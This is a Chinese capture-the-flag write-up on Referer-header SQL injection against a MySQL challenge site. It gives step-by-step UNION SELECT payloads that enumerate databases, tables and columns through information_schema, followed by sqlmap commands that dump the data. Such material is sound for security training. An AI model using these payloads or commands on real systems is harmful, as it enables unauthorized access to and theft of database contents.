技能树-Web题-SQL注入-Mysql结构-Refer注入
Mysql结构—Refer注入
手工注入
根据提示,用bp抓包
HTTP_REFERER简介
HTTP Referer是header的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
也就是说,只有当你向浏览器发送请求时,才会带上referer
如果一开始就抓包不发送请求是的得不到referer的,如下图:
所以向浏览器发送一个post请求:
发送完后在进行抓包就可以找referer:
找到后对referer进行传参
然后,正常进行sql注入。
判断注入点
1 and 1=1 有回显
1 and 1=2 无回显
说明此处存在注入点
判断字段数
1 order by 3 无回显
1 order by 2 有回显
说明字段数为2
判断回显字段数
-1 union select 1,2
1,2都显示,有两个回显字段
爆库名
-1 union select user(),database()
得到库名sqli
爆表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
得到两个表名,第一张表看名字像是自定义的表,尝试爆破第一张表
爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name = 'opneocsiil'
得到列名
爆数据
-1 union select user(),xpqkutgmfe from sqli.opneocsiil
sqlmap
refer注入 ,level 需要大于3
-p 指定参数,这里为 -p “id”
用bp抓到包后,将页面中的数据保存到一个txt文件中,用sqlmap爆破(根据reger注入level需要大于三)
(windows python sqlmap.py )
爆库
sqlmap -r “xxxxx.txt” -p referer --level 5 --dbs
爆表
sqlmap -r “xxxxx.txt” -p referer --level 5 -D sqli --tables
直接导出表中数据
sqlmap -r “xxxxx.txt” -p referer --level 5 -D sqli -T asdnfa --columns --dump